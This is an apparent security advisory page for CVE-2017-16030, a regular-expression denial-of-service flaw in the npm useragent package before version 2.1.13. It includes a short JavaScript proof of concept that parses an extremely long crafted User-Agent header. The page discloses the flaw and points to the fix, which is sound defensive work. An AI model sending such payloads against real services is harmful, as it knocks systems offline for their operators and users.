Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXBqbXgtOXhyMy04MnFy
ReDoS via long UserAgent header in useragent
Affected versions of useragent
are vulnerable to regular expression denial of service when an arbitrarily long User-Agent
header is parsed.
Proof of Concept
var useragent = require('useragent');
var badUserAgent = 'MSIE 0.0'+Array(900000).join('0')+'XBLWP';
var request = 'GET / HTTP/1.1\r\nUser-Agent: ' + badUserAgent + '\r\n\r\n';
console.log(useragent.parse(request));
Recommendation
Update to version 2.1.13 or later.
Permalink: https://github.com/advisories/GHSA-pjmx-9xr3-82qrJSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXBqbXgtOXhyMy04MnFy
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: over 6 years ago
Updated: about 1 year ago
Identifiers: GHSA-pjmx-9xr3-82qr, CVE-2017-16030
References:
- https://nvd.nist.gov/vuln/detail/CVE-2017-16030
- https://github.com/advisories/GHSA-pjmx-9xr3-82qr
- https://www.npmjs.com/advisories/312
Affected Packages
npm:useragent
Dependent packages: 424Dependent repositories: 470,040
Downloads: 3,123,341 last month
Affected Version Ranges: <= 2.1.12
Fixed in: 2.1.13
All affected versions: 0.1.0, 0.1.1, 0.1.2, 1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4, 1.0.5, 1.0.6, 1.1.0, 2.0.0, 2.0.1, 2.0.2, 2.0.3, 2.0.4, 2.0.5, 2.0.6, 2.0.7, 2.0.8, 2.0.9, 2.0.10, 2.1.0, 2.1.1, 2.1.2, 2.1.3, 2.1.4, 2.1.5, 2.1.6, 2.1.7, 2.1.8, 2.1.9, 2.1.10, 2.1.11, 2.1.12
All unaffected versions: 2.1.13, 2.2.0, 2.2.1, 2.3.0